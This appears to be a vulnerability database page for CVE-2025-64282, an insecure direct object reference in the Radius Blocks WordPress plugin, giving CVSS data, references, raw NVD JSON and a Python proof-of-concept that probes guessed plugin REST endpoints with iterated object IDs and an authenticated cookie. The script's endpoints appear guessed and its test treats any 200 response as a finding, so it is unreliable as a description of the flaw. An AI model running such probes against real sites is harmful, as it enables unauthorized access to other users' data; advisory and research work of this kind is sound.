CVE-2025-64282

Description

Authorization Bypass Through User-Controlled Key vulnerability in RadiusTheme Radius Blocks radius-blocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Radius Blocks: from n/a through <= 2.2.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Radius Blocks <= 2.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64282 PoC - Radius Blocks IDOR Vulnerability
# Description: Authorization bypass through user-controlled key in Radius Blocks plugin
# Affected: Radius Blocks <= 2.2.1

import requests
import sys

TARGET_URL = "https://target-site.com/wp-json/"
COOKIES = {
    "wordpress_test_cookie": "WP Cookie check",
    "wordpress_logged_in_user": "your_auth_cookie"
}

def check_vulnerability():
    """Check if target is vulnerable to CVE-2025-64282"""
    # Identify vulnerable endpoints
    vulnerable_endpoints = [
        "radius-blocks/v1/data/",
        "radius-blocks/v1/settings/",
        "radius-blocks/v1/blocks/"
    ]
    
    headers = {
        "Content-Type": "application/json",
        "X-WP-Nonce": "attacker-controlled-nonce"
    }
    
    print("[*] Testing for IDOR vulnerability in Radius Blocks...")
    
    for endpoint in vulnerable_endpoints:
        url = TARGET_URL + endpoint
        
        # Test by manipulating object IDs
        for object_id in [1, 2, 3, 100, 999]:
            params = {"id": object_id}
            try:
                response = requests.get(url, params=params, cookies=COOKIES, headers=headers, timeout=10)
                
                if response.status_code == 200:
                    print(f"[!] Potential vulnerability found at {endpoint} with id={object_id}")
                    print(f"[+] Response: {response.text[:200]}...")
                    return True
            except requests.RequestException as e:
                print(f"[-] Error testing {endpoint}: {e}")
    
    print("[*] No obvious vulnerability detected")
    return False

if __name__ == "__main__":
    if len(sys.argv) > 1:
        TARGET_URL = sys.argv[1]
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64282
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64282
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64282/
[4] VulDB https://vuldb.com/cve/CVE-2025-64282
[5] https://patchstack.com/database/Wordpress/Plugin/radius-blocks/vulnerability/wordpress-radius-blocks-plugin-2-2-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64282", "sourceIdentifier": "[email protected]", "published": "2025-12-18T17:15:56.180", "lastModified": "2026-04-23T15:35:10.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in RadiusTheme Radius Blocks radius-blocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Radius Blocks: from n/a through <= 2.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/radius-blocks/vulnerability/wordpress-radius-blocks-plugin-2-2-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}